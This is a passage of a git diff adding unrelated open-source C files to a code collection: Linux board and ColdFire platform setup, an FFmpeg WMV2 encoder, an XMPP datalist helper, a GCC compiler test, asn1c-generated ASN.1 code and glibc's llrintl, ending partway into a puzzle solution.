+	.resource	= smc911x_resources,
+};
+
+static struct resource heartbeat_resources[] = {
+	[0] = {
+		.start	= PA_LED,
+		.end	= PA_LED,
+		.flags	= IORESOURCE_MEM,
+	},
+};
+
+static struct heartbeat_data heartbeat_data = {
+	.flags		= HEARTBEAT_INVERTED,
+};
+
+static struct platform_device heartbeat_device = {
+	.name		= "heartbeat",
+	.id		= -1,
+	.dev	= {
+		.platform_data	= &heartbeat_data,
+	},
+	.num_resources	= ARRAY_SIZE(heartbeat_resources),
+	.resource	= heartbeat_resources,
+};
+
+static struct mtd_partition *parsed_partitions;
+
+static struct mtd_partition mpr2_partitions[] = {
+	/* Reserved for bootloader, read-only */
+	{
+		.name = "Bootloader",
+		.offset = 0x00000000UL,
+		.size = MPR2_MTD_BOOTLOADER_SIZE,
+		.mask_flags = MTD_WRITEABLE,
+	},
+	/* Reserved for kernel image */
+	{
+		.name = "Kernel",
+		.offset = MTDPART_OFS_NXTBLK,
+		.size = MPR2_MTD_KERNEL_SIZE,
+	},
+	/* Rest is used for Flash FS */
+	{
+		.name = "Flash_FS",
+		.offset = MTDPART_OFS_NXTBLK,
+		.size = MTDPART_SIZ_FULL,
+	}
+};
+
+static struct physmap_flash_data flash_data = {
+	.width		= 2,
+};
+
+static struct resource flash_resource = {
+	.start		= 0x00000000,
+	.end		= 0x2000000UL,
+	.flags		= IORESOURCE_MEM,
+};
+
+static struct platform_device flash_device = {
+	.name		= "physmap-flash",
+	.id		= -1,
+	.resource	= &flash_resource,
+	.num_resources	= 1,
+	.dev		= {
+		.platform_data = &flash_data,
+	},
+};
+
+static struct mtd_info *flash_mtd;
+
+static struct map_info mpr2_flash_map = {
+	.name = "Magic Panel R2 Flash",
+	.size = 0x2000000UL,
+	.bankwidth = 2,
+};
+
+static void __init set_mtd_partitions(void)
+{
+	int nr_parts = 0;
+
+	simple_map_init(&mpr2_flash_map);
+	flash_mtd = do_map_probe("cfi_probe", &mpr2_flash_map);
+	nr_parts = parse_mtd_partitions(flash_mtd, probes,
+					&parsed_partitions, 0);
+	/* If there is no partition table, used the hard coded table */
+	if (nr_parts <= 0) {
+		flash_data.parts = mpr2_partitions;
+		flash_data.nr_parts = ARRAY_SIZE(mpr2_partitions);
+	} else {
+		flash_data.nr_parts = nr_parts;
+		flash_data.parts = parsed_partitions;
+	}
+}
+
+/*
+ * Add all resources to the platform_device
+ */
+
+static struct platform_device *mpr2_devices[] __initdata = {
+	&heartbeat_device,
+	&smc911x_device,
+	&flash_device,
+};
+
+
+static int __init mpr2_devices_setup(void)
+{
+	set_mtd_partitions();
+	return platform_add_devices(mpr2_devices, ARRAY_SIZE(mpr2_devices));
+}
+device_initcall(mpr2_devices_setup);
+
+/*
+ * Initialize IRQ setting
+ */
+static void __init init_mpr2_IRQ(void)
+{
+	plat_irq_setup_pins(IRQ_MODE_IRQ); /* install handlers for IRQ0-5 */
+
+	set_irq_type(32, IRQ_TYPE_LEVEL_LOW);    /* IRQ0 CAN1 */
+	set_irq_type(33, IRQ_TYPE_LEVEL_LOW);    /* IRQ1 CAN2 */
+	set_irq_type(34, IRQ_TYPE_LEVEL_LOW);    /* IRQ2 CAN3 */
+	set_irq_type(35, IRQ_TYPE_LEVEL_LOW);    /* IRQ3 SMSC9115 */
+	set_irq_type(36, IRQ_TYPE_EDGE_RISING);  /* IRQ4 touchscreen */
+	set_irq_type(37, IRQ_TYPE_EDGE_FALLING); /* IRQ5 touchscreen */
+
+	intc_set_priority(32, 13);		/* IRQ0 CAN1 */
+	intc_set_priority(33, 13);		/* IRQ0 CAN2 */
+	intc_set_priority(34, 13);		/* IRQ0 CAN3 */
+	intc_set_priority(35, 6);		/* IRQ3 SMSC9115 */
+}
+
+/*
+ * The Machine Vector
+ */
+
+static struct sh_machine_vector mv_mpr2 __initmv = {
+	.mv_name		= "mpr2",
+	.mv_setup		= mpr2_setup,
+	.mv_init_irq		= init_mpr2_IRQ,
+};
diff --git a/pool/shard001/C/0025568_wmv2enc.c b/pool/shard001/C/0025568_wmv2enc.c
new file mode 100644
index 0000000000000000000000000000000000000000..f2ab55b7fb8a5f4b0b4b21d9dd33dcb77f7c0b02
--- /dev/null
+++ b/pool/shard001/C/0025568_wmv2enc.c
@@ -0,0 +1,224 @@
+/*
+ * Copyright (c) 2002 The FFmpeg Project
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include "avcodec.h"
+#include "dsputil.h"
+#include "mpegvideo.h"
+#include "msmpeg4.h"
+#include "msmpeg4data.h"
+#include "h263.h"
+#include "wmv2.h"
+
+
+static int encode_ext_header(Wmv2Context *w){
+    MpegEncContext * const s= &w->s;
+    PutBitContext pb;
+    int code;
+
+    init_put_bits(&pb, s->avctx->extradata, s->avctx->extradata_size);
+
+    put_bits(&pb, 5, s->avctx->time_base.den / s->avctx->time_base.num); //yes 29.97 -> 29
+    put_bits(&pb, 11, FFMIN(s->bit_rate/1024, 2047));
+
+    put_bits(&pb, 1, w->mspel_bit=1);
+    put_bits(&pb, 1, s->loop_filter);
+    put_bits(&pb, 1, w->abt_flag=1);
+    put_bits(&pb, 1, w->j_type_bit=1);
+    put_bits(&pb, 1, w->top_left_mv_flag=0);
+    put_bits(&pb, 1, w->per_mb_rl_bit=1);
+    put_bits(&pb, 3, code=1);
+
+    flush_put_bits(&pb);
+
+    s->slice_height = s->mb_height / code;
+
+    return 0;
+}
+
+static av_cold int wmv2_encode_init(AVCodecContext *avctx){
+    Wmv2Context * const w= avctx->priv_data;
+
+    if(MPV_encode_init(avctx) < 0)
+        return -1;
+
+    ff_wmv2_common_init(w);
+
+    avctx->extradata_size= 4;
+    avctx->extradata= av_mallocz(avctx->extradata_size + 10);
+    encode_ext_header(w);
+
+    return 0;
+}
+
+int ff_wmv2_encode_picture_header(MpegEncContext * s, int picture_number)
+{
+    Wmv2Context * const w= (Wmv2Context*)s;
+
+    put_bits(&s->pb, 1, s->pict_type - 1);
+    if(s->pict_type == FF_I_TYPE){
+        put_bits(&s->pb, 7, 0);
+    }
+    put_bits(&s->pb, 5, s->qscale);
+
+    s->dc_table_index = 1;
+    s->mv_table_index = 1; /* only if P frame */
+    s->per_mb_rl_table = 0;
+    s->mspel= 0;
+    w->per_mb_abt=0;
+    w->abt_type=0;
+    w->j_type=0;
+
+    assert(s->flipflop_rounding);
+
+    if (s->pict_type == FF_I_TYPE) {
+        assert(s->no_rounding==1);
+        if(w->j_type_bit) put_bits(&s->pb, 1, w->j_type);
+
+        if(w->per_mb_rl_bit) put_bits(&s->pb, 1, s->per_mb_rl_table);
+
+        if(!s->per_mb_rl_table){
+            ff_msmpeg4_code012(&s->pb, s->rl_chroma_table_index);
+            ff_msmpeg4_code012(&s->pb, s->rl_table_index);
+        }
+
+        put_bits(&s->pb, 1, s->dc_table_index);
+
+        s->inter_intra_pred= 0;
+    }else{
+        int cbp_index;
+
+        put_bits(&s->pb, 2, SKIP_TYPE_NONE);
+
+        ff_msmpeg4_code012(&s->pb, cbp_index=0);
+        if(s->qscale <= 10){
+            int map[3]= {0,2,1};
+            w->cbp_table_index= map[cbp_index];
+        }else if(s->qscale <= 20){
+            int map[3]= {1,0,2};
+            w->cbp_table_index= map[cbp_index];
+        }else{
+            int map[3]= {2,1,0};
+            w->cbp_table_index= map[cbp_index];
+        }
+
+        if(w->mspel_bit) put_bits(&s->pb, 1, s->mspel);
+
+        if(w->abt_flag){
+            put_bits(&s->pb, 1, w->per_mb_abt^1);
+            if(!w->per_mb_abt){
+                ff_msmpeg4_code012(&s->pb, w->abt_type);
+            }
+        }
+
+        if(w->per_mb_rl_bit) put_bits(&s->pb, 1, s->per_mb_rl_table);
+
+        if(!s->per_mb_rl_table){
+            ff_msmpeg4_code012(&s->pb, s->rl_table_index);
+            s->rl_chroma_table_index = s->rl_table_index;
+        }
+        put_bits(&s->pb, 1, s->dc_table_index);
+        put_bits(&s->pb, 1, s->mv_table_index);
+
+        s->inter_intra_pred= 0;//(s->width*s->height < 320*240 && s->bit_rate<=II_BITRATE);
+    }
+    s->esc3_level_length= 0;
+    s->esc3_run_length= 0;
+
+    return 0;
+}
+
+/* Nearly identical to wmv1 but that is just because we do not use the
+ * useless M$ crap features. It is duplicated here in case someone wants
+ * to add support for these crap features. */
+void ff_wmv2_encode_mb(MpegEncContext * s,
+                       DCTELEM block[6][64],
+                       int motion_x, int motion_y)
+{
+    Wmv2Context * const w= (Wmv2Context*)s;
+    int cbp, coded_cbp, i;
+    int pred_x, pred_y;
+    uint8_t *coded_block;
+
+    ff_msmpeg4_handle_slices(s);
+
+    if (!s->mb_intra) {
+        /* compute cbp */
+        cbp = 0;
+        for (i = 0; i < 6; i++) {
+            if (s->block_last_index[i] >= 0)
+                cbp |= 1 << (5 - i);
+        }
+
+        put_bits(&s->pb,
+                 wmv2_inter_table[w->cbp_table_index][cbp + 64][1],
+                 wmv2_inter_table[w->cbp_table_index][cbp + 64][0]);
+
+        /* motion vector */
+        h263_pred_motion(s, 0, 0, &pred_x, &pred_y);
+        ff_msmpeg4_encode_motion(s, motion_x - pred_x,
+                              motion_y - pred_y);
+    } else {
+        /* compute cbp */
+        cbp = 0;
+        coded_cbp = 0;
+        for (i = 0; i < 6; i++) {
+            int val, pred;
+            val = (s->block_last_index[i] >= 1);
+            cbp |= val << (5 - i);
+            if (i < 4) {
+                /* predict value for close blocks only for luma */
+                pred = ff_msmpeg4_coded_block_pred(s, i, &coded_block);
+                *coded_block = val;
+                val = val ^ pred;
+            }
+            coded_cbp |= val << (5 - i);
+        }
+
+        if (s->pict_type == FF_I_TYPE) {
+            put_bits(&s->pb,
+                     ff_msmp4_mb_i_table[coded_cbp][1], ff_msmp4_mb_i_table[coded_cbp][0]);
+        } else {
+            put_bits(&s->pb,
+                     wmv2_inter_table[w->cbp_table_index][cbp][1],
+                     wmv2_inter_table[w->cbp_table_index][cbp][0]);
+        }
+        put_bits(&s->pb, 1, 0);         /* no AC prediction yet */
+        if(s->inter_intra_pred){
+            s->h263_aic_dir=0;
+            put_bits(&s->pb, table_inter_intra[s->h263_aic_dir][1], table_inter_intra[s->h263_aic_dir][0]);
+        }
+    }
+
+    for (i = 0; i < 6; i++) {
+        ff_msmpeg4_encode_block(s, block[i], i);
+    }
+}
+
+AVCodec ff_wmv2_encoder = {
+    "wmv2",
+    AVMEDIA_TYPE_VIDEO,
+    CODEC_ID_WMV2,
+    sizeof(Wmv2Context),
+    wmv2_encode_init,
+    MPV_encode_picture,
+    MPV_encode_end,
+    .pix_fmts= (const enum PixelFormat[]){PIX_FMT_YUV420P, PIX_FMT_NONE},
+    .long_name= NULL_IF_CONFIG_SMALL("Windows Media Video 8"),
+};
diff --git a/pool/shard001/C/0025573_m528x.c b/pool/shard001/C/0025573_m528x.c
new file mode 100644
index 0000000000000000000000000000000000000000..b03a9d271837a8efa46245eb7dc90b7a9a322b12
--- /dev/null
+++ b/pool/shard001/C/0025573_m528x.c
@@ -0,0 +1,134 @@
+/***************************************************************************/
+
+/*
+ *	linux/arch/m68knommu/platform/528x/config.c
+ *
+ *	Sub-architcture dependent initialization code for the Freescale
+ *	5280, 5281 and 5282 CPUs.
+ *
+ *	Copyright (C) 1999-2003, Greg Ungerer (gerg@snapgear.com)
+ *	Copyright (C) 2001-2003, SnapGear Inc. (www.snapgear.com)
+ */
+
+/***************************************************************************/
+
+#include <linux/kernel.h>
+#include <linux/param.h>
+#include <linux/init.h>
+#include <linux/platform_device.h>
+#include <linux/io.h>
+#include <asm/machdep.h>
+#include <asm/coldfire.h>
+#include <asm/mcfsim.h>
+#include <asm/mcfuart.h>
+#include <asm/mcfclk.h>
+
+/***************************************************************************/
+
+DEFINE_CLK(pll, "pll.0", MCF_CLK);
+DEFINE_CLK(sys, "sys.0", MCF_BUSCLK);
+DEFINE_CLK(mcfpit0, "mcfpit.0", MCF_CLK);
+DEFINE_CLK(mcfpit1, "mcfpit.1", MCF_CLK);
+DEFINE_CLK(mcfpit2, "mcfpit.2", MCF_CLK);
+DEFINE_CLK(mcfpit3, "mcfpit.3", MCF_CLK);
+DEFINE_CLK(mcfuart0, "mcfuart.0", MCF_BUSCLK);
+DEFINE_CLK(mcfuart1, "mcfuart.1", MCF_BUSCLK);
+DEFINE_CLK(mcfuart2, "mcfuart.2", MCF_BUSCLK);
+DEFINE_CLK(fec0, "fec.0", MCF_BUSCLK);
+
+struct clk *mcf_clks[] = {
+	&clk_pll,
+	&clk_sys,
+	&clk_mcfpit0,
+	&clk_mcfpit1,
+	&clk_mcfpit2,
+	&clk_mcfpit3,
+	&clk_mcfuart0,
+	&clk_mcfuart1,
+	&clk_mcfuart2,
+	&clk_fec0,
+	NULL
+};
+
+/***************************************************************************/
+
+#if IS_ENABLED(CONFIG_SPI_COLDFIRE_QSPI)
+
+static void __init m528x_qspi_init(void)
+{
+	/* setup Port QS for QSPI with gpio CS control */
+	__raw_writeb(0x07, MCFGPIO_PQSPAR);
+}
+
+#endif /* IS_ENABLED(CONFIG_SPI_COLDFIRE_QSPI) */
+
+/***************************************************************************/
+
+static void __init m528x_uarts_init(void)
+{
+	u8 port;
+
+	/* make sure PUAPAR is set for UART0 and UART1 */
+	port = readb(MCFGPIO_PUAPAR);
+	port |= 0x03 | (0x03 << 2);
+	writeb(port, MCFGPIO_PUAPAR);
+}
+
+/***************************************************************************/
+
+static void __init m528x_fec_init(void)
+{
+	u16 v16;
+
+	/* Set multi-function pins to ethernet mode for fec0 */
+	v16 = readw(MCFGPIO_PASPAR);
+	writew(v16 | 0xf00, MCFGPIO_PASPAR);
+	writeb(0xc0, MCFGPIO_PEHLPAR);
+}
+
+/***************************************************************************/
+
+#ifdef CONFIG_WILDFIRE
+void wildfire_halt(void)
+{
+	writeb(0, 0x30000007);
+	writeb(0x2, 0x30000007);
+}
+#endif
+
+#ifdef CONFIG_WILDFIREMOD
+void wildfiremod_halt(void)
+{
+	printk(KERN_INFO "WildFireMod hibernating...\n");
+
+	/* Set portE.5 to Digital IO */
+	MCF5282_GPIO_PEPAR &= ~(1 << (5 * 2));
+
+	/* Make portE.5 an output */
+	MCF5282_GPIO_DDRE |= (1 << 5);
+
+	/* Now toggle portE.5 from low to high */
+	MCF5282_GPIO_PORTE &= ~(1 << 5);
+	MCF5282_GPIO_PORTE |= (1 << 5);
+
+	printk(KERN_EMERG "Failed to hibernate. Halting!\n");
+}
+#endif
+
+void __init config_BSP(char *commandp, int size)
+{
+#ifdef CONFIG_WILDFIRE
+	mach_halt = wildfire_halt;
+#endif
+#ifdef CONFIG_WILDFIREMOD
+	mach_halt = wildfiremod_halt;
+#endif
+	mach_sched_init = hw_timer_init;
+	m528x_uarts_init();
+	m528x_fec_init();
+#if IS_ENABLED(CONFIG_SPI_COLDFIRE_QSPI)
+	m528x_qspi_init();
+#endif
+}
+
+/***************************************************************************/
diff --git a/pool/shard001/C/0025582_tool_datalist.c b/pool/shard001/C/0025582_tool_datalist.c
new file mode 100644
index 0000000000000000000000000000000000000000..03359d632d468cb1be2223d8b599c1cfe9ae1927
--- /dev/null
+++ b/pool/shard001/C/0025582_tool_datalist.c
@@ -0,0 +1,113 @@
+/*
+ * $Id: tool_datalist.c,v 1.1 2008/10/29 07:14:43 cdidier Exp $
+ *
+ * Copyright (C) 2007 Colin DIDIER
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#include <string.h>
+
+#include "module.h"
+
+#include "tool_datalist.h"
+
+DATALIST_REC *
+datalist_find(DATALIST *dl, XMPP_SERVER_REC *server, const char *jid)
+{
+	GSList *tmp;
+	DATALIST_REC *rec;
+
+	for (tmp = dl->list; tmp != NULL; tmp = tmp->next) {
+		rec = tmp->data;
+		if (rec->server == server && strcmp(rec->jid, jid) == 0)
+				return rec;
+	}
+	return NULL;
+}
+
+DATALIST_REC *
+datalist_add(DATALIST *dl, XMPP_SERVER_REC *server, const char *jid,
+    void *data)
+{
+	DATALIST_REC *rec;
+
+	if ((rec = datalist_find(dl, server, jid)) != NULL) {
+		dl->freedata_func(rec);
+		rec->data = data;
+	} else {
+		rec = g_new0(DATALIST_REC, 1);
+		rec->server = server;
+		rec->jid = g_strdup(jid);
+		rec->data = data;
+		dl->list = g_slist_prepend(dl->list, rec);
+	}
+	return rec;
+}
+
+void
+datalist_free(DATALIST *dl, DATALIST_REC *rec)
+{
+	dl->list = g_slist_remove(dl->list, rec);
+	g_free(rec->jid);
+	dl->freedata_func(rec);
+	g_free(rec);
+}
+
+void
+datalist_remove(DATALIST *dl, XMPP_SERVER_REC *server, const char *jid)
+{
+	DATALIST_REC *rec;
+
+	if ((rec = datalist_find(dl, server, jid)) != NULL)
+		datalist_free(dl, rec);
+}
+
+void
+datalist_cleanup(DATALIST *dl, XMPP_SERVER_REC *server)
+{
+	GSList *tmp, *next;
+	DATALIST_REC *rec;
+
+	for (tmp = dl->list; tmp != NULL; tmp = next) {
+		next = tmp->next;
+		rec = tmp->data;
+		if (server == NULL || rec->server == server)
+			datalist_free(dl, rec);
+	}
+}
+
+static void
+dummy_freedata_func(DATALIST_REC *rec)
+{
+}
+
+DATALIST *
+datalist_new(void (*freedata_func)(DATALIST_REC *))
+{
+	DATALIST *dl;
+
+	dl = g_new0(DATALIST, 1);
+	dl->list = NULL;
+	dl->freedata_func = freedata_func == NULL ?
+	    dummy_freedata_func : freedata_func;
+	return dl;
+}
+
+void
+datalist_destroy(DATALIST *dl)
+{
+	datalist_cleanup(dl, NULL);
+	g_free(dl);
+}
diff --git a/pool/shard001/C/0025585_pr59597.c b/pool/shard001/C/0025585_pr59597.c
new file mode 100644
index 0000000000000000000000000000000000000000..4ac12c8c15cf47f1bb61e57835f02c7bd3dd41f7
--- /dev/null
+++ b/pool/shard001/C/0025585_pr59597.c
@@ -0,0 +1,59 @@
+/* { dg-do compile } */
+/* { dg-options "-Ofast -fdump-tree-vrp1-details" } */
+
+typedef unsigned short u16;
+typedef unsigned char u8;
+typedef unsigned int u32;
+long int random(int);
+#define NNN 10
+
+u32 f[NNN], t[NNN];
+
+static u16
+Calc_crc8 (u8 data, u16 crc)
+{
+  u8 i=0,x16=0,carry=0;
+  for (i = 0; i < 8; i++)
+    {
+      x16 = (u8)((data & 1) ^ ((u8)crc & 1));
+      data >>= 1;
+ 
+      if (x16 == 1)
+	{
+	  crc ^= 0x4002;
+	  carry = 1;
+	}
+      else
+	carry = 0;
+      crc >>= 1;
+      if (carry)
+	crc |= 0x8000;
+      else
+	crc &= 0x7fff;
+    }
+  return crc;
+}
+
+int
+main (int argc, char argv[])
+{
+  int i, j; u16 crc;
+  for (j = 0; j < 10000000; j++)
+    {
+      for (i = 0; i < NNN; i++)
+	{
+	  f[i] = random(i);
+	  t[i] = random(NNN - i - 1);
+	}
+      for (i=0; i<NNN; i++) 
+	{
+	  crc=Calc_crc8(f[i],(u16)argc);
+	  crc=Calc_crc8(t[i],crc);
+	}
+    }
+  return crc;
+}
+
+/* { dg-final { scan-tree-dump-times "Registering jump thread" 3 "vrp1" } } */
+/* { dg-final { scan-tree-dump-not "joiner" "vrp1" } } */
+/* { dg-final { scan-tree-dump-times "Threaded jump" 3 "vrp1" } } */
diff --git a/pool/shard001/C/0025586_DomainComponent.c b/pool/shard001/C/0025586_DomainComponent.c
new file mode 100644
index 0000000000000000000000000000000000000000..36a3ab1b82afc940e9c239cc0dfa0e30e7bf0505
--- /dev/null
+++ b/pool/shard001/C/0025586_DomainComponent.c
@@ -0,0 +1,110 @@
+/*
+ * Generated by asn1c-0.9.22 (http://lionet.info/asn1c)
+ * From ASN.1 module "PKIX1Explicit88"
+ * 	found in "lpa2.asn1"
+ * 	`asn1c -S/skeletons`
+ */
+
+#include <asn_internal.h>
+
+#include "DomainComponent.h"
+
+int
+DomainComponent_constraint(asn_TYPE_descriptor_t *td, const void *sptr,
+			asn_app_constraint_failed_f *ctfailcb, void *app_key) {
+	/* Replace with underlying type checker */
+	td->check_constraints = asn_DEF_IA5String.check_constraints;
+	return td->check_constraints(td, sptr, ctfailcb, app_key);
+}
+
+/*
+ * This type is implemented using IA5String,
+ * so here we adjust the DEF accordingly.
+ */
+static void
+DomainComponent_1_inherit_TYPE_descriptor(asn_TYPE_descriptor_t *td) {
+	td->free_struct    = asn_DEF_IA5String.free_struct;
+	td->print_struct   = asn_DEF_IA5String.print_struct;
+	td->ber_decoder    = asn_DEF_IA5String.ber_decoder;
+	td->der_encoder    = asn_DEF_IA5String.der_encoder;
+	td->xer_decoder    = asn_DEF_IA5String.xer_decoder;
+	td->xer_encoder    = asn_DEF_IA5String.xer_encoder;
+	td->uper_decoder   = asn_DEF_IA5String.uper_decoder;
+	td->uper_encoder   = asn_DEF_IA5String.uper_encoder;
+	if(!td->per_constraints)
+		td->per_constraints = asn_DEF_IA5String.per_constraints;
+	td->elements       = asn_DEF_IA5String.elements;
+	td->elements_count = asn_DEF_IA5String.elements_count;
+	td->specifics      = asn_DEF_IA5String.specifics;
+}
+
+void
+DomainComponent_free(asn_TYPE_descriptor_t *td,
+		void *struct_ptr, int contents_only) {
+	DomainComponent_1_inherit_TYPE_descriptor(td);
+	td->free_struct(td, struct_ptr, contents_only);
+}
+
+int
+DomainComponent_print(asn_TYPE_descriptor_t *td, const void *struct_ptr,
+		int ilevel, asn_app_consume_bytes_f *cb, void *app_key) {
+	DomainComponent_1_inherit_TYPE_descriptor(td);
+	return td->print_struct(td, struct_ptr, ilevel, cb, app_key);
+}
+
+asn_dec_rval_t
+DomainComponent_decode_ber(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
+		void **structure, const void *bufptr, size_t size, int tag_mode) {
+	DomainComponent_1_inherit_TYPE_descriptor(td);
+	return td->ber_decoder(opt_codec_ctx, td, structure, bufptr, size, tag_mode);
+}
+
+asn_enc_rval_t
+DomainComponent_encode_der(asn_TYPE_descriptor_t *td,
+		void *structure, int tag_mode, ber_tlv_tag_t tag,
+		asn_app_consume_bytes_f *cb, void *app_key) {
+	DomainComponent_1_inherit_TYPE_descriptor(td);
+	return td->der_encoder(td, structure, tag_mode, tag, cb, app_key);
+}
+
+asn_dec_rval_t
+DomainComponent_decode_xer(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
+		void **structure, const char *opt_mname, const void *bufptr, size_t size) {
+	DomainComponent_1_inherit_TYPE_descriptor(td);
+	return td->xer_decoder(opt_codec_ctx, td, structure, opt_mname, bufptr, size);
+}
+
+asn_enc_rval_t
+DomainComponent_encode_xer(asn_TYPE_descriptor_t *td, void *structure,
+		int ilevel, enum xer_encoder_flags_e flags,
+		asn_app_consume_bytes_f *cb, void *app_key) {
+	DomainComponent_1_inherit_TYPE_descriptor(td);
+	return td->xer_encoder(td, structure, ilevel, flags, cb, app_key);
+}
+
+static ber_tlv_tag_t asn_DEF_DomainComponent_tags_1[] = {
+	(ASN_TAG_CLASS_UNIVERSAL | (22 << 2))
+};
+asn_TYPE_descriptor_t asn_DEF_DomainComponent = {
+	"DomainComponent",
+	"DomainComponent",
+	DomainComponent_free,
+	DomainComponent_print,
+	DomainComponent_constraint,
+	DomainComponent_decode_ber,
+	DomainComponent_encode_der,
+	DomainComponent_decode_xer,
+	DomainComponent_encode_xer,
+	0, 0,	/* No PER support, use "-gen-PER" to enable */
+	0,	/* Use generic outmost tag fetcher */
+	asn_DEF_DomainComponent_tags_1,
+	sizeof(asn_DEF_DomainComponent_tags_1)
+		/sizeof(asn_DEF_DomainComponent_tags_1[0]), /* 1 */
+	asn_DEF_DomainComponent_tags_1,	/* Same as above */
+	sizeof(asn_DEF_DomainComponent_tags_1)
+		/sizeof(asn_DEF_DomainComponent_tags_1[0]), /* 1 */
+	0,	/* No PER visible constraints */
+	0, 0,	/* No members */
+	0	/* No specifics */
+};
+
diff --git a/pool/shard001/C/0025592_s_llrintl.c b/pool/shard001/C/0025592_s_llrintl.c
new file mode 100644
index 0000000000000000000000000000000000000000..fbf38bf717cbe2b92a10a322543807a278fef135
--- /dev/null
+++ b/pool/shard001/C/0025592_s_llrintl.c
@@ -0,0 +1,140 @@
+/* Round to long long int long double floating-point values.
+   IBM extended format long double version.
+   Copyright (C) 2006-2017 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, see
+   <http://www.gnu.org/licenses/>.  */
+
+#include <math.h>
+#include <fenv.h>
+#include <math_ldbl_opt.h>
+#include <float.h>
+#include <ieee754.h>
+
+
+long long
+__llrintl (long double x)
+{
+  double xh, xl;
+  long long res, hi, lo;
+  int save_round;
+
+  ldbl_unpack (x, &xh, &xl);
+
+  /* Limit the range of values handled by the conversion to long long.
+     We do this because we aren't sure whether that conversion properly
+     raises FE_INVALID.  */
+  if (__builtin_expect
+      ((__builtin_fabs (xh) <= -(double) (-__LONG_LONG_MAX__ - 1)), 1)
+#if !defined (FE_INVALID)
+      || 1
+#endif
+    )
+    {
+      save_round = fegetround ();
+
+      if (__glibc_unlikely ((xh == -(double) (-__LONG_LONG_MAX__ - 1))))
+	{
+	  /* When XH is 9223372036854775808.0, converting to long long will
+	     overflow, resulting in an invalid operation.  However, XL might
+	     be negative and of sufficient magnitude that the overall long
+	     double is in fact in range.  Avoid raising an exception.  In any
+	     case we need to convert this value specially, because
+	     the converted value is not exactly represented as a double
+	     thus subtracting HI from XH suffers rounding error.  */
+	  hi = __LONG_LONG_MAX__;
+	  xh = 1.0;
+	}
+      else
+	{
+	  hi = (long long) xh;
+	  xh -= hi;
+	}
+      ldbl_canonicalize (&xh, &xl);
+
+      lo = (long long) xh;
+
+      /* Peg at max/min values, assuming that the above conversions do so.
+         Strictly speaking, we can return anything for values that overflow,
+         but this is more useful.  */
+      res = hi + lo;
+
+      /* This is just sign(hi) == sign(lo) && sign(res) != sign(hi).  */
+      if (__glibc_unlikely (((~(hi ^ lo) & (res ^ hi)) < 0)))
+	goto overflow;
+
+      xh -= lo;
+      ldbl_canonicalize (&xh, &xl);
+
+      hi = res;
+      switch (save_round)
+	{
+	case FE_TONEAREST:
+	  if (fabs (xh) < 0.5
+	      || (fabs (xh) == 0.5
+		  && ((xh > 0.0 && xl < 0.0)
+		      || (xh < 0.0 && xl > 0.0)
+		      || (xl == 0.0 && (res & 1) == 0))))
+	    return res;
+
+	  if (xh < 0.0)
+	    res -= 1;
+	  else
+	    res += 1;
+	  break;
+
+	case FE_TOWARDZERO:
+	  if (res > 0 && (xh < 0.0 || (xh == 0.0 && xl < 0.0)))
+	    res -= 1;
+	  else if (res < 0 && (xh > 0.0 || (xh == 0.0 && xl > 0.0)))
+	    res += 1;
+	  return res;
+	  break;
+
+	case FE_UPWARD:
+	  if (xh > 0.0 || (xh == 0.0 && xl > 0.0))
+	    res += 1;
+	  break;
+
+	case FE_DOWNWARD:
+	  if (xh < 0.0 || (xh == 0.0 && xl < 0.0))
+	    res -= 1;
+	  break;
+	}
+
+      if (__glibc_unlikely (((~(hi ^ (res - hi)) & (res ^ hi)) < 0)))
+	goto overflow;
+
+      return res;
+    }
+  else
+    {
+      if (xh > 0.0)
+	hi = __LONG_LONG_MAX__;
+      else if (xh < 0.0)
+	hi = -__LONG_LONG_MAX__ - 1;
+      else
+	/* Nan */
+	hi = 0;
+    }
+
+overflow:
+#ifdef FE_INVALID
+  feraiseexcept (FE_INVALID);
+#endif
+  return hi;
+}
+
+long_double_symbol (libm, __llrintl, llrintl);
diff --git a/pool/shard001/C/0025596_solution.c b/pool/shard001/C/0025596_solution.c
new file mode 100644
index 0000000000000000000000000000000000000000..a853b624eb81e9da38882b60c882b5a68fd058cf
--- /dev/null
+++ b/pool/shard001/C/0025596_solution.c
@@ -0,0 +1,101 @@
+#include <stdio.h>
+#include <stdbool.h>
+#include <math.h>
+
+#include "order.h"
+
+int solve(int n, int nums[], int p);
+
+#ifndef TESTING
+void read (int n, int nums[]) {
+  int i;
+  for (i = 0; i < n*n; i++) {
+    scanf("%d",&nums[i]);
+  }
+}
+
+int main () {
+  int p, n;
+  scanf("%d\n", &p);
+  scanf("%d\n", &n);
+  int nums[n*n];
+  read(n, nums);
+  printf("%d\n", solve(n, nums, p));
+  return 0;
+}
+#endif
+
+struct pos {
+    int x;
+    int y;
+};
+
+void up    (struct pos *result) { result->y = result->y + 1; }
